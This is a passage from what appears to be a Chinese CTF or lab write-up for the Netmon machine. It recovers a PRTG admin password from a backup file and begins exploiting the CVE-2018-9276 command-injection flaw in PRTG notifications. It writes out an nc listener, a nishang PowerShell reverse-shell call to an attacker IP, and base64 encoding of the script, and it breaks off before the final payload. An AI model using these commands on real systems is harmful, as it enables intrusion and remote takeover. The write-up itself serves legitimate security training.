获取文件 Configuration.old.bak

在该文件中，我们找到了一串疑似密码的玩意儿

但是拿去 web 页面中登录却又失败了

突然想到，这个文件是在 2018 年创建的，那么会不会根据年份变化呢？

username = prtgadmin

去尝试一下

nice，成功登录

权限提升

在找参考文章和漏洞的时候，倒是遇到个小插曲。这里因为我的节点是俄罗斯的，有一些文章直接无法访问，绝了

https://github.com/A1vinSmith/CVE-2018-9276

合理找到了一个命令注入的漏洞以及利用工具

这个原理是 Netmon 在执行通知脚本时，因为没有执行参数检查而导致的命令注入漏洞

点击 `Setup -> Notifications -> Ticket Notification -> Execute Program

这里就是我们利用的地方

但是在利用之前我们要先做点准备

https://github.com/samratashok/nishang

首先使用 nishang 的程序

┌──(root㉿kali)-[~/Desktop]
└─# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .

将我们需要的脚本复制到本地

nc -nvlp 4444

使用 nc 监听一个端口

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.2 -Port 4444

将上面的语句添加到 Invoke-PowerShellTcp.ps1 的最下面

接着将内容转化为 base64

cat Invoke-PowerShellTcp.ps1|iconv -t UTF-16LE|base64 -w0

然后构造一下恶意 poc
